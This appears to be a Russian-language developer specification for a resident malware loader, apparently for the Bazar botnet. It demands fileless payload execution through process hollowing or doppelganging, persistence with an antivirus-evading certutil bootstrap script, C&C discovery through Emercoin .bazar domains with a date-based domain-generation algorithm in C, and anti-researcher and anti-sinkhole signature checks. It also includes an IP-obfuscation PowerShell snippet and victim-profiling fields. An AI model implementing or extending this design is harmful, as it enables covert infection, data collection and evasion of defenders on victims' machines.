РЕЗИДЕНТНЫЙ ЗАГРУЗЧИК ТЕХНИЧЕСКОЕ ЗАДАНИЕ Необходимо разработать резидентный загрузчик, отвечающий таким требованиям: - небольшой размер (идеально - не более 100к) - работа на голой ОС Windows начиная с Windows 2008/Windows Vista что означает либо использование встроенных скриптовых языков (js, powershell v2.0), либо допустимо написать на C/C++ - работа с правами неприливегированного пользователя, без попыток поднять привилегии и обойти UAC "Резидентный" означает, что загрузчик закрепляется на машине и переживает перезагрузку машины, стартует после перезагрузки машины. Это НЕ означает, что загрузчик постоянно висит в памяти фоновым процессом и чего-то ждет. Все что нужно - это выжить после перезагрузки. Функция закрепления в загрузчике может отключаться на этапе сборки, под специфические окружения и задачи. Тогда закрепление загрузчика может брать на себя сам бот (по команде 18, см. соотв.протокол). Для этого загрузчик должен передавать путь к собственному файлу в бот при его запуске (через ком.строку или разделяемую память или как-то еще). Задача загрузчика: - при первом запуске на машине, закрепиться одной из техник закрепления (добавить себя в расписание, автозагрузку, ярлыки итд, см.ниже) - определить разрядность процессора, и самообновиться на версию нужной разрядности - выбрать линк для закачки основного файла в соответствии с разрядностью - получить с сервера зашифрованый файл, расшифровать его. Шифрование - XOR 1 байт, ключ - текущая дата UTC в представлении YYYYMMdd, записанная в hex например 20200128 - это hex-строка 3230323030313238 (каждая цифра переводится в 16-ричное представление) Важно получать время именно в UTC, чтобы использовать правильную дату для машин в удаленных временнЫх зонах - при ошибках связи или декодирования, продолжаются попытки получения и расшифровки нагрузки каждый час - запустить полученный файл fileless-техникой - process hollowing, process doppelganging, подгрузка и запуск dll из памяти, либо подобные техники, БЕЗ СОХРАНЕНИЯ НА ДИСК, ДАЖЕ В ПРОМЕЖУТОЧНОМ ВИДЕ - после запуска файла завершиться НИ ПРИ КАКИХ УСЛОВИЯХ ЗАГРУЖЕННЫЙ ИЗ СЕТИ ФАЙЛ НЕ ДОЛЖЕН БЫТЬ ЗАПИСАН НА ДИСК это принципиальное условие. Если для реализации выбирается скриптовый язык, нужно принять во внимание, что реализация техник безфайлового запуска (process hollowing/process doppelganging) скорей всего крайне трудно реализуема. Относительно оформления нагрузки в виде .dll: - это позволяет избежать запуска дополнительного процесса, следовательно избежать и проактивных детектов. В таком случае, точка входа в .dll - функция DllMain(DLL_PROCESS_ATTACH) Загрузчик должен поддерживать работу через прокси, если он указан в настройках операционной системы (inetcpl.cpl -> Подключение -> Настройки прокси-сервера). Дополнительно, загрузчик должен уметь: - резолвить домены .bazar блокчейна Emercoin и использовать их для поиска командных серверов - обновлять себя. Для обновления используется дополнительный линк, зашитый в код. Обновляться следует только если отличается версия (произвольная строка) (сервер должен отдать версию файла на запрос HEAD /update HTTP/1.1 в заголовке X-Tag) НАСТОЙЧИВО РЕКОМЕНДУЕТСЯ не хранить собственное тело в виде .exe-файла. Обычный способ обеспечения персистентности в системе - это запуск .exe-файла через автозагрузку, задачи по расписанию, службы WMI итд. Однако, предпочтительно сделать следующую схему: - тело загрузчика хранится упакованным и зашифрованным в некий контейнер: .txt-файл, файл сертификата, картинку, длинное значение в ключе реестра, .cab-файл, итд - таким образом, настоящее тело невидимо для антивирусов - запускается не .exe, а bootstrap-скрипт (.bat-файл), разворачивающий и запускающий тело загрузчика и удаляющий промежуточный .exe после выполнения - bootstrap-скрипт использует только имеющиеся в "голой" ОС утилиты Например (весьма примитивно и условно, только для демонстрации техники), bootstrap.bat: @echo off REM достаем загрузчик из "сертификата" certutil -decode file.crt file.exe REM запускаем загрузчик file.exe REM ждем пока прогрузится и отработает файл ping -n 300 127.0.0.1 > NUL REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку del /f /y file.exe Процедура самообновления должна учитывать данную схему и корректно сгружать новое тело в обфусцированный файл. Если используется язык Си/С++, следует подготовить проект CMake, чтобы иметь возможность пересобирать код загрузчика отличными от Microsoft компиляторами, например mingw, clang. ВАЛИДАЦИЯ СЕРВЕРА Валидация сервера происходит путем получения текущей даты сервера и проверки цифровой подписи строки с датой ВШИТЫМ в загрузчик асимметричным криптоключом. Это является защитой от атак SinkHole путем перенаправления трафика от ботов на подставной сервер. В HTTP-заголовке на ЛЮБОЙ HTTP-ответ обязательно должна быть дата с временем, например: Date: YYYY-MM-dd HH:mm:ss * Первый вариант В HTTP-ответе должен присутствовать заголовок Set-Cookie: с именем куки SID и значением в base64-кодировке. Значение куки является цифровой подписью ДАТЫ (БЕЗ времени!) * Второй вариант Поиск цифровой подписи происходит во ВСЕХ HTTP-заголовках ответа. Если при переборе значений заголовков подпись сходится, сервер считается провалидированным. Такое изменение делается с целью улучшить маскировку трафика (в ответ сервера включаются ложные заголовки, которые клиент игнорирует, а DPI-системы вводит в заблуждение). Если подпись не сходится, или дата (без времени) не совпадает с локальной, ищем другой сервер. Валидация сервера должна быть сделана при первом же запросе на сервер. После прохождения валидации, сервер помечается как надежный и в дальнейшем валидация не требуется. Валидацию следует повторять при переустановке соединения и при смене адреса сервера. Код валидации прилагается. ВАЛИДАЦИЯ КЛИЕНТА Для отсечения исследователей от сервера и предотвращения слива файлов из новых групп, используется валидация клиента на стороне сервера. 1. В каждый HTTP-запрос на сервер включается поле Date и проставляется текущие дата со временем 2. В лоадер/бот вшивается закрытый ключ для асимметричного шифрования. Ключ меняется от группы к группе 3. Лоадер/бот должен подписать значение даты (после подстроки "Date: " начиная с первого значащего символа после пробела), обернуть в base64 полученное значение, и положить в любой случайный заголовок. Можно Cookie, но необязательно - можно также использовать заголовки с префиксом X- и любым неуникальным именем (т.е. таким, которое уже широко используется). 4. Алгоритм шифрования такой же, как при проверке подписи сервера. ОПРЕДЕЛЕНИЕ АДРЕСА C&C СЕРВЕРА ПО ДОМЕНУ Для обнаружения командного сервера используются следующие стратегии: 1. список "сырых" IP-адресов 2. хардкод-список несуществующих пока (резервных) доменов Emercoin 3. генерация имени домена на основе текущей даты (подразумевается доменный суффикс .bazar) Алгоритм в п.3 составлен так, что число всех возможных доменов составляет несколько тысяч, так что их достаточно много чтобы перекрыть всю регистрацию, и в то же время время перебора резолвером не слишком велико (порядка суток-нескольких суток). Алгоритм приведен в приложении. Поиск по алгоритму 3 следует делать пачками не более 5000 доменов за один раз. После чего переходить к пункту 1. После первого неудачного цикла 1..3, следует увеличить интервалы поиска сервера до получаса между пунктами. При соединении с сервером следует его провалидировать по цифровой подписи (см.выше). Если сервер невалиден, поиск продолжается. В случае если не удалось найти валидный командный сервер за 3 последовательных попытки, следует либо завершиться, либо удалить себя из системы (определяется настройками сборки). После резолва IP-адреса из домена Emercoin, следует преобразовать IP-адрес путем операции XOR 254 для каждого октета. Например, 124.245.101.251 (получен из DNS-ответа) -> 130.11.155.5 Т.к. DNS-информация доступна каждому, таким образом защищаемся от абюзов по взятым из DNS-записи адресам. Код скрипта ipxor.ps1 на PowerShell: $ip = read-host -prompt "Enter IP"; write-host $ip; $newip = ''; ($ip.split('.') | foreach { $octet = [byte] ( $_) $octet = $octet -bxor 254; $newip = -join($newip,'.',$octet); } ) write-host $newip; ПРОТОКОЛ ЗАГРУЗЧИКА HEAD / HTTP/1.1 Проверка обновлений В ответе ищем заголовок X-Tag, содержащий произвольную строку, обозначающую версию загрузчика на сервере. Обновление происходит, если вшитая в загрузчик версия не совпадает с версией на сервере. GET / HTTP/1.1 Получить тело нагрузки и запустить её. Шифрование - XOR 1 байт, ключ - текущая дата UTC в представлении YYYYMMdd, записанная в hex например 20200128 - это hex-строка 3230323030313238 (каждая цифра переводится в 16-ричное представление) POST / HTTP/1.1 То же самое что и GET, плюс отправка информации о системе. Тело запроса должно быть зашифровано датой как описано выше. ДАННАЯ ФУНКЦИЯ ОПЦИОНАЛЬНА. ВКЛЮЧЕНИЕ В СБОРКЕ УСЛОВНОЙ КОМПИЛЯЦИЕЙ! Форматирование ответа в теле POST соответствует этому же ответу бэкдора. Если какую-то инфу нельзя получить без запуска внешних утилит, мы ее не присылаем! это важное условие. Список полей сокращен: path=полный путь к бинарному файлу бекдора (если не используется полностью fileless технология) os=3-7 цифр содержащих major-version, minor-version и build операционной системы, если таковые имеются у системы (например, для 6.1 build 7600 это будет 617600). os[1]=признак типа ОС (W=Windows) и версия ОС os[2]=билд ОС arch=архитектура (разрядность): 86 или 64 cname=имя компьютера uname=имя пользователя domain=имя домена или рабочей группы компьютера получаем ТОЛЬКО вызовом WinAPI, например NetWkstaGetInfo; никаких запусков внешних утилит!) av[]=тип антивируса ps=список процессов ДОПОЛНИТЕЛЬНО Техники закрепления: https://habr.com/ru/post/425177/ Код резолва Emercoin прилагается. ПРИЛОЖЕНИЕ 1 КОД ГЕНЕРАЦИИ ДОМЕНОВ ПО ТЕКУЩЕЙ ДАТЕ Код следует дополнительно обфусцировать, как для запутывания аналитика, так и потому что он дает характерную сигнатуру. Подразумевается доменный суффикs .bazar void get_possible_domain(char* domain) { if (!domain) return; for (int i = 0; i < 6; ++i) { int rndchr = rand() % ('z' - 'a'); rndchr /= i + 6; char c = 'a' + rndchr + i*2; domain[i] = c; } static char datebuf[24]; static char date[7]; static bool date_computed = false; if (!date_computed) { GetDateFormatA(LOCALE_INVARIANT, 0, NULL, NULL, datebuf, sizeof(datebuf)); char mon[3]; char year[5]; for (int i = 0; i < 2; ++i) mon[i] = datebuf[i]; mon[2] = 0; for (int i = 0; i < 4; ++i) year[i] = datebuf[i + 6]; year[4] = 0; sprintf_s(date, sizeof(date), "%.2d%d", 12 - atoi(mon), atoi(year) - 18); date_computed = true; } for (int i = 6; i < 12; ++i) { domain[i] = domain[i - 6] + date[i - 6] - '0'; if (domain[i] < 'a') domain[i] = 'z'; } domain[12] = 0; }